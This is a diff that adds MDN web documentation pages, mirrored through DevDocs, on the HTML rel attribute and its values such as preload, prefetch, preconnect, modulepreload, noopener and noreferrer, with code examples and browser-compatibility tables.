+

html

+
<!doctype html>
+<html lang="en-US">
+  <head>
+    <meta charset="utf-8" />
+    <title>Basic JavaScript module example</title>
+    <style>
+      canvas {
+        border: 1px solid black;
+      }
+    </style>
+    <script type="module" src="main.js"></script>
+  </head>
+  <body></body>
+</html>
+
+

The HTML below updates the example to use <link> elements with rel="modulepreload" for the main file and each of the dependency modules. This is much faster because the three modules all start downloading asynchronously and in parallel before they are needed. By the time main.js has been parsed and its dependencies are known, they have already been fetched and downloaded.

+

html

+
<!doctype html>
+<html lang="en-US">
+  <head>
+    <meta charset="utf-8" />
+    <title>Basic JavaScript module example</title>
+    <link rel="modulepreload" href="main.js" />
+    <link rel="modulepreload" href="modules/canvas.js" />
+    <link rel="modulepreload" href="modules/square.js" />
+    <style>
+      canvas {
+        border: 1px solid black;
+      }
+    </style>
+
+    <script type="module" src="main.js"></script>
+  </head>
+  <body></body>
+</html>
+
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# link-type-modulepreload
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
modulepreload66≤79115No53No666611547No9.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel/modulepreload +

+
diff --git a/devdocs/html/attributes%2Frel%2Fnoopener.html b/devdocs/html/attributes%2Frel%2Fnoopener.html new file mode 100644 index 00000000..ec1438cc --- /dev/null +++ b/devdocs/html/attributes%2Frel%2Fnoopener.html @@ -0,0 +1,53 @@ +

rel=noopener

+

The noopener keyword for the rel attribute of the <a>, <area>, and <form> elements instructs the browser to navigate to the target resource without granting the new browsing context access to the document that opened it — by not setting the Window.opener property on the opened window (it returns null).

This is especially useful when opening untrusted links, in order to ensure they cannot tamper with the originating document via the Window.opener property (see About rel=noopener for more details), while still providing the Referer HTTP header (unless noreferrer is used as well).

Note that when noopener is used, nonempty target names other than _top, _self, and _parent are all treated like _blank in terms of deciding whether to open a new window/tab.

Note: Setting target="_blank" on <a> elements now implicitly provides the same rel behavior as setting rel="noopener" which does not set window.opener. See browser compatibility for support status.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# link-type-noopener
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
noopener4979
52Before Firefox 63, rel="noopener" created windows with all features disabled by default. Starting with Firefox 63, these windows have the same features enabled by default as any other window.
No3610.14949
52Before Firefox 63, rel="noopener" created windows with all features disabled by default. Starting with Firefox 63, these windows have the same features enabled by default as any other window.
3610.35.0
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel/noopener +

+
diff --git a/devdocs/html/attributes%2Frel%2Fnoreferrer.html b/devdocs/html/attributes%2Frel%2Fnoreferrer.html new file mode 100644 index 00000000..deecac13 --- /dev/null +++ b/devdocs/html/attributes%2Frel%2Fnoreferrer.html @@ -0,0 +1,51 @@ +

rel=noreferrer

The noreferrer keyword for the rel attribute of the <a>, <area>, and <form> elements instructs the browser, when navigating to the target resource, to omit the Referer header and otherwise leak no referrer information — and additionally to behave as if the noopener keyword were also specified.

+

Specifications

+
+ + +
Specification
HTML Standard
# link-type-noreferrer
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
noreferrer161333
11Only supported in IE11 in later versions of Windows 10 (creators update). (Per caniuse.com.)
1554.41833144.21.5
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel/noreferrer +

+
diff --git a/devdocs/html/attributes%2Frel%2Fpreconnect.html b/devdocs/html/attributes%2Frel%2Fpreconnect.html new file mode 100644 index 00000000..2584c793 --- /dev/null +++ b/devdocs/html/attributes%2Frel%2Fpreconnect.html @@ -0,0 +1,68 @@ +

rel=preconnect

+

The preconnect keyword for the rel attribute of the <link> element is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively initiating a connection to that origin. Preconnecting speeds up future loads from a given origin by preemptively performing part or all of the handshake (DNS+TCP for HTTP, and DNS+TCP+TLS for HTTPS origins).

<link rel="preconnect"> will provide a benefit to any future cross-origin HTTP request, navigation or subresource. It has no benefit on same-origin requests because the connection is already open.

If a page needs to make connections to many third-party domains, preconnecting them all can be counterproductive. The <link rel="preconnect"> hint is best used for only the most critical connections. For the others, just use <link rel="dns-prefetch"> to save time on the first step — the DNS lookup.

+
+

Examples

+
+
+

html

+
<link rel="preconnect" href="https://example.com" />
+
+

You can also implement preconnect as an HTTP Link header, for example:

+

http

+
Link: <https://example.com>; rel="preconnect"
+
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# link-type-preconnect
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
preconnect4679
39Before Firefox 41, it doesn't obey the crossorigin attribute.
No3311.14646
39Before Firefox 41, it doesn't obey the crossorigin attribute.
3311.34.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel/preconnect +

+
diff --git a/devdocs/html/attributes%2Frel%2Fprefetch.html b/devdocs/html/attributes%2Frel%2Fprefetch.html new file mode 100644 index 00000000..83f845ca --- /dev/null +++ b/devdocs/html/attributes%2Frel%2Fprefetch.html @@ -0,0 +1,81 @@ +

rel=prefetch

+

The prefetch keyword for the rel attribute of the <link> element provides a hint to browsers that the user is likely to need the target resource for future navigations, and therefore the browser can likely improve the user experience by preemptively fetching and caching the resource. <link rel="prefetch"> is used for same-site navigation resources, or for subresources used by same-site pages.

The result is kept in the HTTP cache on disk. Because of this it is useful for prefetching subresources, even if they are not used by the current page. You could also use it to prefetch the next document the user will likely visit on the site. However, as a result you need to be careful with headers — for example certain Cache-Control headers could block prefetching (for example no-cache or no-store).

Note: Because of such limitations, you are advised to use the Speculation Rules API for document prefetches instead, where it is supported.

<link rel="prefetch"> is functionally equivalent to a fetch() call with a priority: "low" option set on it, except that the former will generally have an even lower priority, and it will have a Sec-Purpose: prefetch header set on the request. Note that in general browsers will give prefetch resources a lower priority than preload ones (e.g. requested via <link rel="preload">) — the current page is more important than the next.

The fetch request for a prefetch operation results in an HTTP request that includes the HTTP header Sec-Purpose: prefetch. A server might use this header to change the cache timeouts for the resources, or perform other special handling. The request will also include the Sec-Fetch-Dest header with the value set to empty.

The Accept header in the request will match the value used for normal navigation requests. This allows the browser to find the matching cached resources following navigation.

+
+

Examples

+ +

Basic prefetch

+
+

js

+
<link rel="prefetch" href="main.js" />
+
+
+ +
+

Prefetching can be used to fetch both HTML and sub-resources for a possible next navigation. A common use case is to have a simple website landing page that fetches more "heavy-weight" resources used by the rest of the site.

+

html

+
<link rel="prefetch" href="/app/style.css" />
+<link rel="prefetch" href="/landing-page" />
+
+
+
+

The effects of cache partitioning

+
+

Many browsers now implement some form of cache partitioning, which makes <link rel="prefetch"> useless for resources intended for use by different top-level sites. This includes the main document when navigating cross-site. So, for example, the following prefetch:

+

html

+
<link rel="prefetch" href="https://news.example/article" />
+
+

Would not be accessible from https://aggregator.example/.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# link-type-prefetch
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
prefetch
8Requires secure context
12Requires secure context
2Requires secure context
11
15Requires secure context
13.1
4.4Requires secure context
18Requires secure context
4Requires secure context
14Requires secure context
13.4
1.5Requires secure context
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel/prefetch +

+
diff --git a/devdocs/html/attributes%2Frel%2Fpreload.html b/devdocs/html/attributes%2Frel%2Fpreload.html new file mode 100644 index 00000000..3b4d04a2 --- /dev/null +++ b/devdocs/html/attributes%2Frel%2Fpreload.html @@ -0,0 +1,210 @@ +

rel=preload

The preload value of the <link> element's rel attribute lets you declare fetch requests in the HTML's <head>, specifying resources that your page will need very soon, which you want to start loading early in the page lifecycle, before browsers' main rendering machinery kicks in. This ensures they are available earlier and are less likely to block the page's render, improving performance. Even though the name contains the term load, it doesn't load and execute the script but only schedules it to be downloaded and cached with a higher priority.

+

The basics

+
+

You most commonly use <link> to load a CSS file to style your page with:

+

html

+
<link rel="stylesheet" href="styles/main.css" />
+
+

Here however, we will use a rel value of preload, which turns <link> into a preloader for any resource we want. You will also need to specify:

A simple example might look like this (see our JS and CSS example source, and also live):

+

html

+
<head>
+  <meta charset="utf-8" />
+  <title>JS and CSS preload example</title>
+
+  <link rel="preload" href="style.css" as="style" />
+  <link rel="preload" href="main.js" as="script" />
+
+  <link rel="stylesheet" href="style.css" />
+</head>
+
+<body>
+  <h1>bouncing balls</h1>
+  <canvas></canvas>
+
+  <script src="main.js" defer></script>
+</body>
+
+

Here we preload our CSS and JavaScript files so they will be available as soon as they are required for the rendering of the page later on. This example is trivial, as the browser probably discovers the <link rel="stylesheet"> and <script> elements in the same chunk of HTML as the preloads, but the benefits can be seen much more clearly the later resources are discovered and the larger they are. For example:

preload has other advantages too. Using as to specify the type of content to be preloaded allows the browser to:

+
+

What types of content can be preloaded?

+
+

Many content types can be preloaded. The possible as attribute values are:

Note: font and fetch preloading requires the crossorigin attribute to be set; see CORS-enabled fetches below.

Note: There's more detail about these values and the web features they expect to be consumed by in the Preload spec — see link element extensions. Also note that the full list of values the as attribute can take is governed by the Fetch spec — see request destinations.

+
+

Including a MIME type

+
+

<link> elements can accept a type attribute, which contains the MIME type of the resource the element points to. This is especially useful when preloading resources — the browser will use the type attribute value to work out if it supports that resource, and will only download it if so, ignoring it if not.

You can see an example of this in our video example (see the full source code, and also the live version), a code snippet from which is shown below. This illustrates the core behavior behind preloading in general.

+

html

+
<head>
+  <meta charset="utf-8" />
+  <title>Video preload example</title>
+
+  <link rel="preload" href="sintel-short.mp4" as="video" type="video/mp4" />
+</head>
+<body>
+  <video controls>
+    <source src="sintel-short.mp4" type="video/mp4" />
+    <source src="sintel-short.webm" type="video/webm" />
+    <p>
+      Your browser doesn't support HTML video. Here is a
+      <a href="sintel-short.mp4">link to the video</a> instead.
+    </p>
+  </video>
+</body>
+
+

The code in the example above causes the video/mp4 video to be preloaded only in supporting browsers — and for users who have video/mp4 support in their browsers, causes the video/mp4 video to actually be used (since it's the first <source> specified). That makes the video player hopefully smoother/more responsive for users who have video/mp4 support in their browsers.

Note that for users whose browsers have both video/mp4 and video/webm support, if in that code a <link rel="preload" href="sintel-short.webm" as="video" type="video/webm"> element were also specified, then both the video/mp4 and video/webm videos would be preloaded — even though only one of them would actually be used.

Therefore, specifying preloading for multiple types of the same resource is discouraged. Instead, the best practice is to specify preloading only for the type the majority of your users are likely to actually use. That's why the code in the example above doesn't specify preloading for the video/webm video.

However, the lack of preloading doesn't prevent the video/webm video from actually being used by those who need it: for users whose browsers don't have video/mp4 support but do have video/webm support, the code in the example above does still cause the video/webm video to be used — but it does so without also causing it to also be preloaded unnecessarily for the majority of other users.

+
+

CORS-enabled fetches

+
+

When preloading resources that are fetched with CORS enabled (e.g. fetch(), XMLHttpRequest or fonts), special care needs to be taken to setting the crossorigin attribute on your <link> element. The attribute needs to be set to match the resource's CORS and credentials mode, even when the fetch is not cross-origin.

As mentioned above, one interesting case where this applies is font files. Because of various reasons, these have to be fetched using anonymous-mode CORS (see Font fetching requirements).

Let's use this case as an example. You can see the full example source code on GitHub (also see it live):

+

html

+
<head>
+  <meta charset="utf-8" />
+  <title>Web font example</title>
+
+  <link
+    rel="preload"
+    href="fonts/cicle_fina-webfont.woff2"
+    as="font"
+    type="font/woff2"
+    crossorigin />
+  <link
+    rel="preload"
+    href="fonts/zantroke-webfont.woff2"
+    as="font"
+    type="font/woff2"
+    crossorigin />
+
+  <link href="style.css" rel="stylesheet" />
+</head>
+<body>
+  …
+</body>
+
+

Not only are we providing the MIME type hints in the type attributes, but we are also providing the crossorigin attribute to make sure the preload's CORS mode matches the eventual font resource request.

+
+

Including media

+
+

One nice feature of <link> elements is their ability to accept media attributes. These can accept media types or full-blown media queries, allowing you to do responsive preloading!

Let's look at an example (see it on GitHub — source code, live example):

+

html

+
<head>
+  <meta charset="utf-8" />
+  <title>Responsive preload example</title>
+
+  <link
+    rel="preload"
+    href="bg-image-narrow.png"
+    as="image"
+    media="(max-width: 600px)" />
+  <link
+    rel="preload"
+    href="bg-image-wide.png"
+    as="image"
+    media="(min-width: 601px)" />
+
+  <link rel="stylesheet" href="main.css" />
+</head>
+<body>
+  <header>
+    <h1>My site</h1>
+  </header>
+
+  <script>
+    const mediaQueryList = window.matchMedia("(max-width: 600px)");
+    const header = document.querySelector("header");
+
+    if (mediaQueryList.matches) {
+      header.style.backgroundImage = "url(bg-image-narrow.png)";
+    } else {
+      header.style.backgroundImage = "url(bg-image-wide.png)";
+    }
+  </script>
+</body>
+
+

We include media attributes on our <link> elements so that a narrow image is preloaded if the user has a narrow viewport, and a wider image is loaded if they have a wide viewport. We use Window.matchMedia / MediaQueryList to do this (see Testing media queries for more).

This makes it much more likely that the font will be available for the page render, cutting down on FOUT (flash of unstyled text).

This doesn't have to be limited to images, or even files of the same type — think big! You could perhaps preload and display a simple SVG diagram if the user is on a narrow screen where bandwidth and CPU is potentially more limited, or preload a complex chunk of JavaScript then use it to render an interactive 3D model if the user's resources are more plentiful.

+
+

Scripting and preloads

+
+

Note: Use <link rel="modulepreload"> instead if you are working with JavaScript modules.

Another nice thing about these preloads is that you can execute them with script. For example, here we create a HTMLLinkElement instance, then attach it to the DOM:

+

js

+
const preloadLink = document.createElement("link");
+preloadLink.href = "myscript.js";
+preloadLink.rel = "preload";
+preloadLink.as = "script";
+document.head.appendChild(preloadLink);
+
+

This means that the browser will preload the myscript.js file, but not actually use it yet. To use it, you could do this:

+

js

+
const preloadedScript = document.createElement("script");
+preloadedScript.src = "myscript.js";
+document.body.appendChild(preloadedScript);
+
+

This is useful when you want to preload a script, but then defer execution until exactly when you need it.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# link-type-preload
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
preload
50Doesn’t support as="audio", as="audioworklet", as="document", as="embed", as="manifest", as="object", as="paintworklet", as="report", as="sharedworker", as="video", as="worker", or as="xslt".
≤79Doesn’t support as="audio", as="audioworklet", as="document", as="embed", as="manifest", as="object", as="paintworklet", as="report", as="sharedworker", as="video", as="worker", or as="xslt".
85
56–57Disabled due to various web compatibility issues (e.g. bug 1405761).
+		No37No
50as="document" is unsupported. See bug 593267.
50Doesn’t support as="audio", as="audioworklet", as="document", as="embed", as="manifest", as="object", as="paintworklet", as="report", as="sharedworker", as="video", as="worker", or as="xslt".
85
56–57Disabled due to various web compatibility issues (e.g. bug 1405761).
+		NoNo
5.0as="document" is unsupported. See bug 593267.
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel/preload +

+
diff --git a/devdocs/html/attributes%2Frel%2Fprerender.html b/devdocs/html/attributes%2Frel%2Fprerender.html new file mode 100644 index 00000000..dbb7be27 --- /dev/null +++ b/devdocs/html/attributes%2Frel%2Fprerender.html @@ -0,0 +1,56 @@ +

rel=prerender

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

+

Non-standard: This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.

The prerender keyword for the rel attribute of the <link> element is a hint to browsers that the user might need the target resource for the next navigation, and therefore the browser can likely improve the user experience by preemptively fetching and processing the resource — for example, by fetching its subresources or performing some rendering in the background offscreen.

This feature is superceded by the Speculation Rules API.

+
+

Specifications

+
+No specification found

No specification data found for html.elements.link.rel.prerender.
Check for problems with this page or contribute a missing spec_url to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.

+
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
prerender1379No1115No4.418No14No1.5
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel/prerender +

+
diff --git a/devdocs/html/attributes%2Frel.html b/devdocs/html/attributes%2Frel.html new file mode 100644 index 00000000..7987e306 --- /dev/null +++ b/devdocs/html/attributes%2Frel.html @@ -0,0 +1,395 @@ +

HTML attribute: rel

+

The rel attribute defines the relationship between a linked resource and the current document. Valid on <link>, <a>, <area>, and <form>, the supported values depend on the element on which the attribute is found.

The type of relationships is given by the value of the rel attribute, which, if present, must have a value that is an unordered set of unique space-separated keywords. Differently from a class name, which does not express semantics, the rel attribute must express tokens that are semantically valid for both machines and humans. The current registries for the possible values of the rel attribute are the IANA link relation registry, the HTML Living Standard, and the freely-editable existing-rel-values page in the microformats wiki, as suggested by the Living Standard. If a rel attribute not present in one of the three sources above is used some HTML validators (such as the W3C Markup Validation Service) will generate a warning.

The following table lists some of the most important existing keywords. Every keyword within a space-separated value should be unique within that value.

+rel value Description <link> +<a> and <area> + <form>
alternate Alternate representations of the current document. Link Link Not allowed
author Author of the current document or article. Link Link Not allowed
bookmark Permalink for the nearest ancestor section. Not allowed Link Not allowed
canonical Preferred URL for the current document. Link Not allowed Not allowed
dns-prefetch Tells the browser to preemptively perform DNS resolution for the target resource's origin. External Resource Not allowed Not allowed
external The referenced document is not part of the same site as the current document. Not allowed Annotation Annotation
help Link to context-sensitive help. Link Link Link
icon An icon representing the current document. External Resource Not allowed Not allowed
license Indicates that the main content of the current document is covered by the copyright license. described by the referenced document. Link Link Link
manifest Web app manifest. Link Not allowed Not allowed
me Indicates that the current document represents the person who owns the linked content. Link Link Not allowed
modulepreload Tells to browser to preemptively fetch the script and store it in the document's module map for later evaluation. Optionally, the module's dependencies can be fetched as well. External Resource Not allowed Not allowed
next Indicates that the current document is a part of a series and that the next document in the series is the referenced document. Link Link Link
nofollow Indicates that the current document's original author or publisher does not endorse the referenced document. Not allowed Annotation Annotation
noopener Creates a top-level browsing context that is not an auxiliary browsing context if the hyperlink would create either of those, to begin with (i.e., has an appropriate target attribute value). Not allowed Annotation Annotation
noreferrer No Referer header will be included. Additionally, has the same effect as noopener. Not allowed Annotation Annotation
opener Creates an auxiliary browsing context if the hyperlink would otherwise create a top-level browsing context that is not an auxiliary browsing context (i.e., has "_blank" as target attribute value). Not allowed Annotation Annotation
pingback Gives the address of the pingback server that handles pingbacks to the current document. External Resource Not allowed Not allowed
preconnect Specifies that the user agent should preemptively connect to the target resource's origin. External Resource Not allowed Not allowed
prefetch Specifies that the user agent should preemptively fetch and cache the target resource as it is likely to be required for a followup navigation. External Resource Not allowed Not allowed
preload Specifies that the user agent must preemptively fetch and cache the target resource for current navigation according to the potential destination given by the as attribute (and the priority associated with the corresponding destination). External Resource Not allowed Not allowed
prerender Specifies that the user agent should preemptively fetch the target resource and process it in a way that helps deliver a faster response in the future. External Resource Not allowed Not allowed
prev Indicates that the current document is a part of a series and that the previous document in the series is the referenced document. Link Link Link
search Gives a link to a resource that can be used to search through the current document and its related pages. Link Link Link
stylesheet Imports a style sheet. External Resource Not allowed Not allowed
tag Gives a tag (identified by the given address) that applies to the current document. Not allowed Link Not allowed

The rel attribute is relevant to the <link>, <a>, <area>, and <form> elements, but some values only relevant to a subset of those elements. Like all HTML keyword attribute values, these values are case-insensitive.

The rel attribute has no default value. If the attribute is omitted or if none of the values in the attribute are supported, then the document has no particular relationship with the destination resource other than there being a hyperlink between the two. In this case, on <link> and <form>, if the rel attribute is absent, has no keywords, or if not one or more of the space-separated keywords above, then the element does not create any links. <a> and <area> will still created links, but without a defined relationship.

+
+

Values

+
alternate

Indicates an alternate representation of the current document. Valid for <link>, <a>, and <area>, the meaning depends on the values of the other attributes.

  • With the stylesheet keyword on a <link>, it creates an alternate stylesheet.
    +

    html

    +
    <!-- a persistent style sheet -->
+<link rel="stylesheet" href="default.css" />
+<!-- alternate style sheets -->
+<link
+  rel="alternate stylesheet"
+  href="highcontrast.css"
+  title="High contrast" />
+
    +
  • With an hreflang attribute that differs from the document language, it indicates a translation.
  • With the type attribute value of "application/rss+xml"or "application/atom+xml", it creates a hyperlink referencing a syndication feed.
    +

    html

    +
    <link
+  rel="alternate"
+  type="application/atom+xml"
+  href="posts.xml"
+  title="Blog" />
+
    +
  • Otherwise, it creates a hyperlink referencing an alternate representation of the current document, whose nature is given by the hreflang and type attributes.
    • If hreflang is given alongside alternate, and the value of hreflang is different from the current document's language, it indicates that the referenced document is a translation.
    • If type is given alongside alternate, it indicates that the referenced document is an alternative format (such as a PDF).
    • The hreflang and type attributes may both be given alongside alternate.
    +

    html

    +
    <link
+  rel="alternate"
+  href="/fr/html/print"
+  hreflang="fr"
+  type="text/html"
+  media="print"
+  title="French HTML (for printing)" />
+<link
+  rel="alternate"
+  href="/fr/pdf"
+  hreflang="fr"
+  type="application/pdf"
+  title="French PDF" />
+
    +
author

Indicates the referenced document provides further information about the author of the current document or article. Relevant for <link>, <a>, and <area> elements.

With <a> and <area>, it indicates the linked document (or mailto:) provides information about the author of the nearest <article> ancestor if there is one, otherwise the entire document.

With <link>, it represents the author of the entire document.

Note: For historical reasons, the obsolete attribute value rev="made" is treated as rel="author".

bookmark

Relevant as the rel attribute value for the <a> and <area> elements. Gives a permalink for the nearest ancestor <article> element, if there is one. If there is no ancestor <article> element, gives a permalink for the section the linking element is most closely associated with.

canonical

Valid for <link>, it defines the preferred URL for the current document, which helps search engines reduce duplicate content.

dns-prefetch

Relevant for the <link> element both in the <body> and <head>, it tells the browser to preemptively perform DNS resolution for the target resource's origin. Useful for resources the user will likely need, it helps reduce latency and thereby improves performance when the user does access the resources as the browser preemptively performed DNS resolution for the origin of the specified resource. See dns-prefetch described in resource hints.

external

Relevant to <form>, <a>, and <area>, it indicates the referenced document is not part of the current site. This can be used with attribute selectors to style external links in a way that indicates to the user that they will be leaving the current site.

help

Relevant to <form>, <link>, <a>, and <area>, the help keyword indicates that the linked to content provides context-sensitive help, providing information for the parent of the element defining the hyperlink, and its children. When used within <link>, the help is for the whole document. When included with <a> and <area> and supported, the default cursor will be help instead of pointer.

icon

Valid with <link>, the linked resource represents the icon, a resource for representing the page in the user interface, for the current document.

The most common use for the icon value is the favicon:

+

html

+
<link rel="icon" href="favicon.ico" />
+
+

If there are multiple <link rel="icon">s, the browser uses their media, type, and sizes attributes to select the most appropriate icon. If several icons are equally appropriate, the last one is used. If the most appropriate icon is later found to be inappropriate, for example because it uses an unsupported format, the browser proceeds to the next-most appropriate, and so on.

Note: The crossorigin attribute is not supported for rel="icon" in Chromium-based browsers. See the open Chromium issue.

Note: Apple's iOS does not use this link type, nor the sizes attribute, like others mobile browsers do, to select a webpage icon for Web Clip or a start-up placeholder. Instead it uses the non-standard apple-touch-icon and apple-touch-startup-image respectively.

Note: The shortcut link type is often seen before icon, but this link type is non-conforming, ignored and web authors must not use it anymore.

license

Valid on the <a>, <area>, <form>, <link> elements, the license value indicates that the hyperlink leads to a document describing the licensing information; that the main content of the current document is covered by the copyright license described by the referenced document. If not inside the <head> element, the standard doesn't distinguish between a hyperlink applying to a specific part of the document or to the document as a whole. Only the data on the page can indicate this.

+

html

+
<link rel="license" href="#license" />
+
+

Note: Although recognized, the synonym copyright is incorrect and must be avoided.

+manifest +

Web app manifest. Requires the use of the CORS protocol for cross-origin fetching.

modulepreload

Useful for improved performance, and relevant to the <link> anywhere in the document, setting rel="modulepreload" tells the browser to preemptively fetch the script (and dependencies) and store it in the document's module map for later evaluation. modulepreload links can ensure network fetching is done with the module ready (but not evaluated) in the module map before it is necessarily needed. See also modulepreload.

next

Relevant to <form>, <link>, <a>, and <area>, the next values indicates that the current document is a part of a series, and that the next document in the series is the referenced document. When included in a <link>, browsers may assume that document will be fetched next, and treat it as a resource hint.

nofollow

Relevant to <form>, <a>, and <area>, the nofollow keyword tells search engine spiders to ignore the link relationship. The nofollow relationship may indicate the current document's owner does not endorse the referenced document. It is often included by Search Engine Optimizers pretending their link farms are not spam pages.

noopener

Relevant to <form>, <a>, and <area>, creates a top-level browsing context that is not an auxiliary browsing context if the hyperlink would create either of those to begin with (i.e., has an appropriate target attribute value). In other words, it makes the link behave as if window.opener were null and target="_parent" were set.

This is the opposite of opener.

noreferrer

Relevant to <form>, <a>, and <area>, including this value makes the referrer unknown (no Referer header will be included), and creates a top-level browsing context as if noopener were also set.

opener

Creates an auxiliary browsing context if the hyperlink would otherwise create a top-level browsing context that is not an auxiliary browsing context (i.e., has "_blank" as target attribute value). Effectively, the opposite of noopener.

pingback

Gives the address of the pingback server that handles pingbacks to the current document. See the Pingback specification.

preconnect

Provides a hint to the browser suggesting that it open a connection to the linked website in advance, without disclosing any private information or downloading any content, so that when the link is followed the linked content can be fetched more quickly.

prefetch

Specifies that the user agent should preemptively fetch and cache the target resource as it is likely to be required for a followup navigation. See prefetch for more information.

preload

Specifies that the user agent must preemptively fetch and cache the target resource for current navigation according to the potential destination given by the as attribute (and the priority associated with the corresponding destination). See the page for the preload value.

+prerender +

Specifies that the user agent should preemptively fetch the target resource and process it in a way that helps deliver a faster response in the future, for example by fetching its subresources or performing some rendering.

prev

Similar to the next keyword, relevant to <form>, <link>, <a>, and <area>, the prev values indicates that the current document is a part of a series, and that the link references a previous document in the series is the referenced document.

Note: The synonym previous is incorrect and should not be used.

Relevant to <form>, <link>, <a>, and <area> elements, the search keywords indicates that the hyperlink references a document whose interface is specially designed for searching in the current document, site, and related resources, providing a link to a resource that can be used to search.

If the type attribute is set to application/opensearchdescription+xml the resource is an OpenSearch plugin that can be easily added to the interface of Firefox.

stylesheet

Valid for the <link> element, it imports an external resource to be used as a stylesheet. The type attribute is not needed as it's a text/css stylesheet, as that is the default value. If it's not a stylesheet of type text/css it is best to declare the type.

While this attribute defines the link as being a stylesheet, the interaction with other attributes and other key terms within the rel value impact whether the stylesheet is downloaded and/or used.

When used with the alternate keyword, it defines an alternative style sheet. In this case, include a non-empty title.

The external stylesheet will not be used or even downloaded if the media does not match the value of the media attribute.

Requires the use of the CORS protocol for cross-origin fetching.

tag

Valid for the <a>, and <area> elements, it gives a tag (identified by the given address) that applies to the current document. The tag value denotes that the link refers to a document describing a tag applying to the document on which it is located. This link type is not meant for tags within a tag cloud, as those tags apply to a group of pages, whereas the tag value of the rel attribute is for a single document.

+

Non-standard values

+
apple-touch-icon

Specifies the icon for a web application on an iOS device.

+

Specifications

+
+ + +
Specification
HTML Standard
# linkTypes
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
rel161230Yes1554.41830144.21.0
noopener4979
52Before Firefox 63, rel="noopener" created windows with all features disabled by default. Starting with Firefox 63, these windows have the same features enabled by default as any other window.
No3610.14949
52Before Firefox 63, rel="noopener" created windows with all features disabled by default. Starting with Firefox 63, these windows have the same features enabled by default as any other window.
3610.35.0
noreferrer161333
11Only supported in IE11 in later versions of Windows 10 (creators update). (Per caniuse.com.)
1554.41833144.21.5
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
rel1121Yes1514.41841411.0
noopener4979
52Before Firefox 63, rel="noopener" created windows with all features disabled by default. Starting with Firefox 63, these windows have the same features enabled by default as any other window.
No3610.14949
52Before Firefox 63, rel="noopener" created windows with all features disabled by default. Starting with Firefox 63, these windows have the same features enabled by default as any other window.
3610.35.0
noreferrer161333
11Only supported in IE11 in later versions of Windows 10 (creators update). (Per caniuse.com.)
1554.41833144.21.5
+
